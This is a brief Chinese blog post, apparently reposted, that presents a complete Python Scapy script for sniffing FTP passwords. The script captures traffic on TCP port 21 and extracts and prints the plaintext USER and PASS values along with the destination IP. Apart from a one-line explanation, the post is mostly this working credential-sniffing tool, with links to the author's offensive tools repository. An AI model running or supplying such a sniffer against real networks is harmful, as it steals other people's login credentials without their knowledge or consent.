[源码]python Scapy Ftp密码嗅探

[源码]python Scapy Ftp密码嗅探

原理很简单,FTP密码明文传输的

截取tcp 21端口User和Pass数据即可

Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe

 1 # -*- coding: UTF-8 -*-
 2 #author: k8gege
 3 import os
 4 import queue
 5 from scapy.all import *
 6 def ftpsniff(pkt):
 7     dest = pkt.getlayer(IP).dst
 8     raw = pkt.sprintf('%Raw.load%')
 9     user = re.findall('(?i)USER (.*)', raw)
10     pwd = re.findall('(?i)PASS (.*)', raw)
11     if user:
12         print '[*] FTP Login to ' + str(dest)
13         print '[+] Username: ' + str(user[0]).replace("\\r\\n'","");
14     elif pwd:
15         print '[+] Password: ' + str(pwd[0]).replace("\\r\\n'","");
16 
17 print('FTP Sniffing...');
18 sniff(filter="tcp port 21", prn=ftpsniff)

https://github.com/k8gege/k8ftpsniffer

https://github.com/k8gege/K8tools/blob/master/k8ftpsniffer.py

转载于:https://www.cnblogs.com/k8gege/p/10486538.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值